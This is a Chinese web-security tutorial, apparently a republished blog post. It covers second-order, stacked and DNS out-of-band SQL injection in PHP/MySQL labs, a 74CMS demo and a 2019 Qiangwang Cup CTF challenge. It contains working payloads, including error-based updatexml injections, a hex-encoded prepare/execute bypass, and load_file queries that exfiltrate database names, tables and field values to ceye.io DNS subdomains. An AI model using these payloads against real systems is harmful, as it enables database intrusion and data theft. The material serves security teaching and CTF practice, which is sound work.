当前位置: 首页 > news >正文

045-WEB攻防-PHP应用SQL二次注入堆叠执行DNS带外功能点黑白盒条件-cnblog

045-WEB攻防-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件-cnblog

PHP-MYSQL-二次注入-DEMO&74CMS

Untitled

1、DEMO-用户注册登录修改密码

Untitled

Untitled

1.注册新用户时,将注入的内容包含在注册的用户名后:admin' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#

image-20250422120952348

2.成功注入,并查看数据库,数据库中也存放了响应的注入语句

image-20250422121231667

3.正常登录:登陆后,随便输入旧密码和新密码,点击修改后,发现注入成功,错误回显版本号

image-20250422121359117

黑盒思路:分析功能有添加后对数据操作的地方(功能点)(很难测出,sql语句的符号影响,转义不能直接看出,容错处理代码中是否有,找到在哪里触发(执行置入的sql语句))

白盒思路:insert 后进入 select 或 update 的功能的代码块(源代码去审

注入条件:插入时有转义函数或配置,后续有利用插入的数据(先插入后利用

需要注意的条件:实现二次注入,源码中有对应的转义(magic_quotes_gpc)或使用转义函数(addslashes)对方的代码有转义或者开启了魔术引号开关

Untitled

Untitled

1.在注册用户逻辑中,首先使用addslashes 转义函数解析POST请求中的username,

2.在后方插入新用户记录的时候,执行的SQL语句则会变为INSERT INTO users (username,password) VALUES ('admin' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#','123456') 给username中的单引号添加转义字符\

3.在添加进数据库之后,数据库会自动删除转义字符/,方便后面执行修改密码的时候,查询对应数据,执行二次注入

4.如果不使用,转义函数,则会出现报错

举个现实例子 🌰

想象你正在往一个箱子里存纸条(数据库存数据),但箱子的管理员(PHP的addslashes()函数)有个规矩:如果纸条上有引号('"),必须用胶带(反斜杠\)贴住,否则管理员会拒收。

比如你写了一张纸条:
小明说:"今天天气真好!"
管理员会改成:
小明说:\"今天天气真好!\"(贴住双引号)


你的攻击场景 🎯

现在你想搞事情,往箱子里存一张纸条:
admin' and 攻击代码 #
但管理员发现单引号('),会直接贴胶带转义成:
admin\' and 攻击代码 #
这样存入箱子后,攻击代码就被胶带封印了,无法触发。


你的破解方法 💡

于是你想了个办法: 在单引号前再加一个胶带(反斜杠) ,假装这是“合法胶带”。
输入:
admin\' and 攻击代码 #
管理员看到单引号前已经有胶带(\),就不再贴新胶带,最终存入箱子的数据是:
admin\' and 攻击代码 #

但关键来了!
箱子(数据库)有个漏洞:它会把胶带(\)吃掉!
所以实际存进去的纸条是:
admin' and 攻击代码 #(单引号没被转义!)


触发攻击的时刻 💥

接下来,当有人从箱子里取出这条数据(比如用来做密码重置),直接拼接到新纸条(SQL语句)里:
UPDATE users SET password='新密码' WHERE username='admin' and 攻击代码 #'

这时,单引号('没有被胶带贴住,直接闭合了前面的username='admin',后面的攻击代码就被执行了!


为什么加反斜杠(\)?

  1. 目的:骗过管理员(addslashes()),让它觉得单引号已经被贴胶带了,不再处理。
  2. 结果:存入数据库后,胶带(\)被吃掉,单引号暴露出来。
  3. 触发时机:后续拼接SQL时,这个单引号直接闭合语句,执行攻击代码。

2、CMS-74CMS 个人中心简历功能

注册完填写教育经历这里的在学校名称和专业名称注入:aa','fullname'=user()#

专业名称这里有字符限制,选中打开检查修改maxlength="120”值

image-20250422172833914

image-20250422173025735

image-20250422175636677

PHP-MYSQL-堆叠注入-DEMO&CTF 强网

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,
例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.
支持堆叠数据库:MYSQL MSSQL Postgresql等

1.首先在数据库操作软件中Navicat Premium 16,使用:SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255));语句

image-20250422191616409 这是一个选择数据的查询,从名为 'news' 的表中选择所有列,其中 id 列的值为 1

创建一个名为 'xxx' 的表,该表包含一个名为 'test' 的 VARCHAR(255) 类型的列

SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255));

由于sql语句在Navicat Premium 16有特定解析,支持两个封号的语句拼接在一起执行

2.但是当该语句通过网址注入,由于php中多数执行sql语句的函数为mysqli_query()只能执行一条SQL:[http://192.168.137.1:84/sqli/new.php?id=1;CREATE TABLE xxx(test VARCHAR(255)](http://192.168.137.1:84/sqli/new.php?id=1;CREATE TABLE xxx(test VARCHAR(255)));

image-20250422191906338

3.但是当php采用mysqli_multi_query函数接收并执行sql语句的时候

Untitled

Untitled

堆叠注入前提条件:

1、目标存在 sql 注入漏洞

2、目标未对";"号进行过滤

3、目标中间层查询数据库信息时可同时执行多条 sql 语句

在目标系统的中间层中,存在一种机制或函数,允许一次性执行多条SQL语句。这种情况通常出现在使用诸如 mysqli_multi_query() 或者 PDO::multi_query() 这样的函数时

支持堆叠数据库:MYSQL MSSQL Postgresql 等

-2019 强网杯-随便注(CTF 题型)

';show databases;

';show tables;

';show columns from 1919810931114514;

';select flag from 1919810931114514;

';SeT

@a=0x73656c65637420666c61672066726f6d2060313931393831303933313131

3435313460;prepare execsql from @a;execute execsql;

1、目标存在 sql 注入漏洞

2、目标未对";"号进行过滤

3、目标中间层查询数据库信息时可同时执行多条 sql 语句

PHP-MYSQL-带外注入-DEMO&DNSLOG

产生原因:有部分注入点是没有回显的,所有读取也是没回显的,采用带外的形式,回显数据

0.注入条件

  • ROOT 高权限且支持 load_file()

  • secure-file-priv=设置→默认关闭,必须添加到MYsql的配置文件my.ini中

  • G:\develop\safety\phpstudy_pro\Extensions\MySQL5.7.26my.ini

  • 有部分注入点是没有回显的,所有读取也是没回显的,采用带外

Untitled

  • secure_file_priv 是 MySQL 数据库中的一个系统变量,用于限制使用 LOAD DATA INFILE 和 SELECT ... INTO OUTFILE 语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性,防止用户滥用这些语句导致的文件系统访问。
  • 如果设置了这个变量,MySQL 将仅允许在指定的路径下进行文件的读取和写入操作。
  • 如果没有设置,MySQL 将默认使用空值,表示禁用 LOAD DATA INFILE 和 SELECT ... INTO OUTFILE。
    例如,
  • 如果 secure_file_priv 被设置为 f:\,那么在执行 LOAD DATA INFILE 或 SELECT ... INTO OUTFILE 时,只允许读写位于 f:\ 目录下的文件。

http://demo01/sqli/new.php?id=1 union select 1,2,3,4,load_file('d:\1.txt'),6

image-20250422203155670

1.使用平台

http://ceye.io(适用dnslog打不开的场景下)只需要记住每次登录,分配的identifier即可

http://www.dnslog.cn

image-20250422203721187

2.带外应用场景:

解决不回显,反向连接,SQL注入,命令执行,SSRF等

  • SQL注入

    select load_file(concat('\\',(select database()),'.wk0crf.ceye.io\aa'));
    and (select load_file(concat('//',(select database()),'.wk0crf.ceye.io/abc')))

  • 查询当前数据库

image-20250422205337273

  • 查询其他数据库

    id=1 and load_file(concat("\\",(select schema_name from information_schema.schemata limit 0,1),".wk0crf.ceye.io\xxx.txt"))
    """
    由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
    limit 0,1 查询第一个数据库名
    limit 1,1 查询第二个数据库名

    limit 2,1 查询第三个数据库名
    """

    image-20250422205757688

  • 查询当前数据库dome01中第一个表名

    id=1 and load_file(concat("\\",(select table_name from information_schema.tables where table_schema='dome01' limit 0,1 ),".wk0crf.ceye.io/abc"))
    """

    3ef59c96b807f77b95e8f721aa76621a于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
    limit 0,1 查询第一个表名
    limit 1,1 查询第二个表名

    limit 2,1 查询第三个表名

    """

  • 查询security数据库emails表下第一个列名

id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
  • 查询字段值 数据库名为security 表名emails 列名id
id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
http://www.hskmm.com/?act=detail&tid=9824

相关文章:

  • linux 命令语句
  • 用 Kotlin 实现英文数字验证码识别
  • 达芬奇(DaVinci Reslove)字体文件 bugb标签
  • 语音芯片怎样挑选?语音芯片关键选型要点?
  • KingbaseES Schema权限及空间限额
  • HTTP库开发实战:核心库与httpplus扩展库示例解析
  • QMT交易系统向服务器同步订单丢失问题排查
  • 笔记1
  • 用 Python 和 Tesseract 实现英文数字验证码识别
  • 实用指南:OSPF特殊区域、路由汇总及其他特性
  • 禅道以及bug
  • 中电金信 :MCP在智能体应用中的挑战与对策
  • 第一次参与开源的时序数据库 IoTDB Committer:这份成就感是无可替代的
  • ECT-OS-JiuHuaShan 框架元推理的意义、价值、作用、应用场景和哲学理念的充分阐述:AGI奇点
  • CSP 2025 复赛复习总目标与计划
  • mysql区分大小写吗,你可能忽略了这些关键细节
  • route-link 和 a 的区别
  • WPF 调用 Windows 桌面右键新增文件菜单的实现方案
  • HR 需了解的绩效评估应包含的内容
  • 解题报告-P12022 [USACO25OPEN] Hoof Paper Scissors Minus One B
  • CentOS架构修改网卡命名的方法总结
  • np.clip的使用
  • 重看P4211 [LNOI2014] LCA 以及 P5305 [GXOI/GZOI2019] 旧词 题解
  • 25.9.19随笔联考总结
  • 解题报告-P12025 [USACO25OPEN] Sequence Construction S
  • 解题报告-P12026 [USACO25OPEN] Compatible Pairs S
  • maxu
  • 20
  • 19
  • 18